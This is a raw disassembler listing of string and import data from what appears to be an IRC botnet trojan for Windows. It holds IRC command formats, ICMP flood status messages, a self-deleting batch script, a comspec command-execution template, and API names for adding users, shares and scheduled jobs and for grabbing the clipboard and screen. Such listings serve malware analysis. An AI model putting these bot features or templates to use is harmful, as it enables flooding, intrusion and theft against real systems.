aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_404FFE+471o
align 4
; char a31s21s[]
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_404FFE+434o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_404FFE+401o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aCodeSCodeA[]
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_404FFE:loc_4053C0o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_404FFE+3BBo
align 4
; char aSS_2[]
aSS_2 db '%s%s/',0 ; DATA XREF: sub_404FFE+374o
align 4
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_404FFE+330o
; sub_404FFE+486o
db '<TD WIDTH="%d"><A HREF="',0
align 4
; char aPrivmsgS31s21s[]
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_404FFE+30Eo
align 4
; char aS_3[]
aS_3 db '<%s>',0 ; DATA XREF: sub_404FFE+2E4o
; sub_404FFE+413o
align 10h
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_404FFE+2BAo
aAm db 'AM',0 ; DATA XREF: sub_404FFE+290o
align 4
aPm db 'PM',0 ; DATA XREF: sub_404FFE+285o
align 4
; char a__0[]
a__0 db '.',0 ; DATA XREF: sub_404FFE+24Do
align 4
; char a__[]
a__ db '..',0 ; DATA XREF: sub_404FFE+232o
align 10h
; char aTrTdColspan3AH[]
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_404FFE+1C0o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aSearchingForS[]
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404FFE+147o
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_404FFE+12Bo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aTrTdWidthDCode[]
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_404FFE+F7o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
; char aH1IndexOfSH1Ta[]
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_404FFE+ADo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
; char aHtmlHeadTitleI[]
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_404FFE+78o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
; char aPrivmsgSSearch[]
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404FFE+4Bo
; char aSSHttp1_1Refer[]
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40576B+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
; char aIcmpDoneWithSF[]
aIcmpDoneWithSF db '[ICMP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/s'
; DATA XREF: sub_40588C+397o
db 'ec (%dMB).',0
; char aIcmpErrorSendi[]
aIcmpErrorSendi db '[ICMP]: Error sending packets to IP: %s. Packets sent: %d. Return'
; DATA XREF: sub_40588C+307o
db 'ed: <%d>.',0
align 4
; char aIcmpInvalidTar[]
aIcmpInvalidTar db '[ICMP]: Invalid target IP.',0 ; DATA XREF: sub_40588C+12Ao
align 4
; char aIcmpErrorSetso[]
aIcmpErrorSetso db '[ICMP]: Error: setsockopt() failed, returned: <%d>.',0
; DATA XREF: sub_40588C+C2o
; char aIcmpErrorSocke[]
aIcmpErrorSocke db '[ICMP]: Error: socket() failed, returned: <%d>.',0
; DATA XREF: sub_40588C+49o
; char aIdentdErrorSer[]
aIdentdErrorSer db '[IDENTD]: Error: server failed, returned: <%d>.',0
; DATA XREF: sub_405C73+16Eo
; char aUseridUnixS[]
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_405C73+113o
; char aIdentdClientCo[]
aIdentdClientCo db '[IDENTD]: Client connection from IP: %s:%d.',0
; DATA XREF: sub_405C73+BBo
; char aSSS[]
aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_405E64+58o
; char aPrivmsg[]
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_405E64+16o
; sub_409557+607o
; char aNotice[]
aNotice db 'NOTICE',0 ; DATA XREF: sub_405E64+Fo
; sub_409557+613o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_405EFF+B8Co
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_405EFF+B7Fo
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_405EFF+B72o
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_405EFF+B65o
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_405EFF+B58o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_405EFF+B50o
align 10h
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_405EFF:loc_406A42o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_405EFF+B0Eo
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_405EFF+B06o
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_405EFF:loc_4069F8o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_405EFF+AB4o
align 10h
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_405EFF+AA7o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_405EFF+A9Ao
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_405EFF+A92o
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_405EFF:loc_406984o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_405EFF+A50o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_405EFF+A48o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_405EFF:loc_40693Ao
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_405EFF+A06o
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_405EFF+9FEo
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_405EFF:loc_4068F0o
align 10h
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_405EFF+974o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_405EFF+967o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_405EFF+95Ao
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_405EFF+94Do
align 10h
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_405EFF+940o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_405EFF+933o
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_405EFF+926o
align 10h
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_405EFF+919o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_405EFF+90Co
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_405EFF+8FFo
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_405EFF+8F7o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_405EFF:loc_4067E5o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_405EFF+8A9o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_405EFF+89Co
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_405EFF+894o
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_405EFF:loc_406786o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_405EFF+85Ao
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_405EFF+7E8o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_405EFF+7DBo
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_405EFF+7CEo
align 10h
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_405EFF+7C1o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_405EFF+7B4o
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_405EFF+7A7o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_405EFF+79Ao
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_405EFF+78Do
align 10h
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_405EFF+780o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_405EFF+778o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_405EFF:loc_406666o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_405EFF+62Eo
aGetpeername db 'getpeername',0 ; DATA XREF: sub_405EFF+621o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_405EFF+614o
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_405EFF+607o
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_405EFF+5FAo
aGetsockname db 'getsockname',0 ; DATA XREF: sub_405EFF+5EDo
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_405EFF+5E0o
align 10h
aAccept db 'accept',0 ; DATA XREF: sub_405EFF+5D3o
align 4
aListen db 'listen',0 ; DATA XREF: sub_405EFF+5C6o
align 10h
aSelect db 'select',0 ; DATA XREF: sub_405EFF+5B9o
align 4
aBind db 'bind',0 ; DATA XREF: sub_405EFF+5B1o
align 10h
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_405EFF+59Fo
align 4
aRecv db 'recv',0 ; DATA XREF: sub_405EFF+592o
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_405EFF+585o
align 4
; char aSend[]
aSend db 'send',0 ; DATA XREF: sub_405EFF+578o
; sub_409557+1AC4o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_405EFF+56Bo
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_405EFF+55Eo
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_405EFF+551o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_405EFF+544o
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_405EFF+537o
align 10h
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_405EFF+52Ao
align 4
aConnect db 'connect',0 ; DATA XREF: sub_405EFF+51Do
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_405EFF+510o
aSocket db 'socket',0 ; DATA XREF: sub_405EFF+503o
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_405EFF+4F6o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_405EFF+4E9o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_405EFF+4DCo
align 10h
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_405EFF+4CFo
align 10h
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_405EFF+4C2o
align 10h
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_405EFF+4B5o
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_405EFF+4ADo
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_405EFF+49Co
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_405EFF+429o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_405EFF+41Co
align 10h
aBitblt db 'BitBlt',0 ; DATA XREF: sub_405EFF+40Fo
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_405EFF+402o
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_405EFF+3F5o
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_405EFF+3E8o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_405EFF+3DBo
align 10h
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_405EFF+3CEo
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_405EFF+3C6o
align 10h
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_405EFF:loc_4062B4o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_405EFF:loc_40628Co
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_405EFF+335o
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_405EFF+328o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_405EFF+31Bo
align 10h
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_405EFF+30Eo
align 10h
aControlservice db 'ControlService',0 ; DATA XREF: sub_405EFF+301o
align 10h
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_405EFF+2F4o
align 10h
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_405EFF+2E7o
align 10h
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_405EFF:loc_4061DEo
align 10h
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_405EFF+2AFo
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_405EFF+2A2o
align 10h
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_405EFF:loc_406199o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_405EFF+252o
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_405EFF+245o
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_405EFF+238o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_405EFF+22Bo
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_405EFF+21Eo
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_405EFF+216o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_405EFF:loc_406104o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_405EFF+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_405EFF+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_405EFF+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_405EFF+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_405EFF+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_405EFF+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_405EFF+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_405EFF+14Ao
align 10h
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_405EFF:loc_406034o
; ___crtMessageBoxA+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_405EFF:loc_406007o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_405EFF+A0o
align 10h
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_405EFF+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_405EFF+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_405EFF+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_405EFF+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_405EFF+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_405EFF+52o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_405EFF+45o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_405EFF+38o
align 10h
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_405EFF+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_405EFF+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_405EFF+Ao
align 4
; char aMainDllTestCom[]
aMainDllTestCom db '[MAIN]: DLL test complete.',0 ; DATA XREF: sub_406AE8+2BEo
align 4
; char aOdbc32_dllFail[]
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+298o
; char aShell32_dllFai[]
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+264o
align 4
; char aMpr32_dllFaile[]
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+230o
align 4
; char aIphlpapi_dllFa[]
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+1FCo
align 10h
; char aDnsapi_dllFail[]
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+1C8o
; char aNetapi32_dllFa[]
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+194o
align 4
; char aIcmp_dllFailed[]
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+160o
align 4
; char aWininet_dllFai[]
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+12Co
align 4
; char aWs2_32_dllFail[]
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+F8o
; char aGdi32_dllFaile[]
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+C4o
align 4
; char aAdvapi32_dllFa[]
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+90o
align 4
; char aUser32_dllFail[]
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+5Co
; char aKernel32_dllFa[]
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+28o
align 4
; char aSErrorSD_[]
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40703D+72o
align 4
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_407102+5o
; sub_40F995+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_407184+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_407228+2o
; char aComspecCSS[]
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40724A+140o
align 10h
; char a[]
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40724A+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
; char aSdel_bat[]
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40724A+48o
align 10h
off_4210E0 dd offset aAdd ; DATA XREF: sub_4073D2+6Dr
; sub_4077B6+50r ...
; "Add"
off_4210E4 dd offset aAdded ; DATA XREF: sub_4073D2+2Dr
; sub_4077B6+82r ...
; "Added"
dword_4210E8 dd 0 ; DATA XREF: sub_4073D2+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 421154h, 42114Ch, 2, 421140h, 421134h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused_0 db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .data:00421114o
aStop_0 db 'Stop',0 ; DATA XREF: .data:00421110o
align 4
aStarted db 'Started',0 ; DATA XREF: .data:00421108o
aStart_0 db 'Start',0 ; DATA XREF: .data:00421104o
align 4
aListed db 'Listed',0 ; DATA XREF: .data:004210FCo
align 4
aList_1 db 'List',0 ; DATA XREF: .data:004210F8o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .data:004210F0o
aDelete_0 db 'Delete',0 ; DATA XREF: .data:004210ECo
align 4
aAdded db 'Added',0 ; DATA XREF: .data:off_4210E4o
align 4
aAdd db 'Add',0 ; DATA XREF: .data:off_4210E0o
; char aNetSNoServiceS[]
aNetSNoServiceS db '[NET]: %s: No service specified.',0 ; DATA XREF: sub_4073D2+74o
align 4
; char aNetErrorWithSe[]
aNetErrorWithSe db '[NET]: Error with service: ',27h,'%s',27h,'. %s',0
; DATA XREF: sub_4073D2+55o
; char aNetSServiceS_[]
aNetSServiceS_ db '[NET]: %s service: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4073D2+38o
align 4
; char aAnUnknownErr_0[]
aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4074FB+12Co
align 10h
; char aTheSystemIsShu[]
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4074FB:loc_407613o
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4074FB:loc_40760Co
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_4074FB:loc_407605o
db 'the state of the service.',0
align 10h
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_4074FB:loc_4075FEo
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_4074FB:loc_4075F7o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_4074FB:loc_4075F0o
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4074FB:loc_4075E9o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_4074FB:loc_4075E2o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_4074FB:loc_4075DBo
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_4074FB:loc_4075D4o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_4074FB:loc_4075A9o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_4074FB:loc_4075A2o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_4074FB:loc_40759Bo
db 'tServiceCtrlDispatcher.',0
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_4074FB:loc_407594o
align 10h
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4074FB+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_4074FB:loc_407569o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_4074FB:loc_40755Fo
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_4074FB:loc_407555o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4074FB:loc_40754Bo
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_4074FB:loc_407541o
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4074FB+3Co
align 4
; char aSSS_0[]
aSSS_0 db '%s: %s (%s)',0 ; DATA XREF: sub_407679+EBo
; char aStopped[]
aStopped db ' Stopped',0 ; DATA XREF: sub_407679:loc_407745o
aStarting db ' Starting',0 ; DATA XREF: sub_407679:loc_40773Eo
aStoping db ' Stoping',0 ; DATA XREF: sub_407679:loc_407737o
aRunning db ' Running',0 ; DATA XREF: sub_407679:loc_407730o
aContinuing db ' Continuing',0 ; DATA XREF: sub_407679:loc_407729o
aPausing db ' Pausing',0 ; DATA XREF: sub_407679:loc_407722o
aPaused db ' Paused',0 ; DATA XREF: sub_407679:loc_40771Bo
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_407679+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_407679+25o
align 4
; char aNetSNoShareSpe[]
aNetSNoShareSpe db '[NET]: %s: No share specified.',0 ; DATA XREF: sub_4077B6+ABo
align 4
; char aNetSShareS_[]
aNetSShareS_ db '[NET]: %s share: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4077B6+89o
align 4
; char aNetSErrorWithS[]
aNetSErrorWithS db '[NET]: %s: Error with share: ',27h,'%s',27h,'. %s',0
; DATA XREF: sub_4077B6+57o
align 4
; char a14s24s6u4s[]
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_407944+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_407944+BCo
align 10h
aYes db 'Yes',0 ; DATA XREF: sub_407944+B5o
; char aNetShareListEr[]
aNetShareListEr db '[NET]: Share list error: %s <%ld>',0 ; DATA XREF: sub_407944+76o
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_407944+26o
align 10h
; char aNetSNoUsername[]
aNetSNoUsername db '[NET]: %s: No username specified.',0 ; DATA XREF: sub_407A65+B6o
align 4
; char aNetSErrorWithU[]
aNetSErrorWithU db '[NET]: %s: Error with username: ',27h,'%s',27h,'. %s',0
; DATA XREF: sub_407A65+94o
align 10h
; char aNetSUsernameS_[]
aNetSUsernameS_ db '[NET]: %s username: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_407A65+6Do
align 4
; char aNetUserInfoErr[]
aNetUserInfoErr db '[NET]: User info error: <%ld>',0 ; DATA XREF: sub_407BAB+394o
align 4
; char aUnitsPerWeekD[]
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_407BAB+36Ao
align 10h
; char aMax_StorageD[]
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_407BAB+33Fo
align 4
; char aUserSLanguageD[]
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_407BAB+317o
; char aCountryCodeD[]
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_407BAB+2ECo
align 4
; char aWorkstationsS[]
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_407BAB+2C4o
align 10h
; char aLogonServerS[]
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_407BAB+299o
align 4
; char aLastLogoffD[]
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_407BAB+271o
; char aLastLogonD[]
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_407BAB+246o
align 4
; char aNumberOfLogins[]
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_407BAB+21Eo
align 4
; char aBadPasswordCou[]
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_407BAB+1F3o
align 4
; char aPasswordAgeD[]
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_407BAB+1CBo
align 4
; char aParametersS[]
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_407BAB+1A0o
align 4
; char aHomeDirectoryS[]
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_407BAB+178o
align 4
; char aAuthFlagsD[]
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_407BAB+14Do
align 4
; char aPrivilegeLevel[]
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_407BAB+125o
aGuest db 'Guest',0 ; DATA XREF: sub_407BAB:loc_407CC4o
align 4
aUser_0 db 'User',0 ; DATA XREF: sub_407BAB:loc_407CBDo
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: sub_407BAB:loc_407CB6o
align 10h
; char aCommentS[]
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_407BAB+D4o
; char aUserCommentS[]
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_407BAB+ACo
align 10h
; char aFullNameS[]
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_407BAB+81o
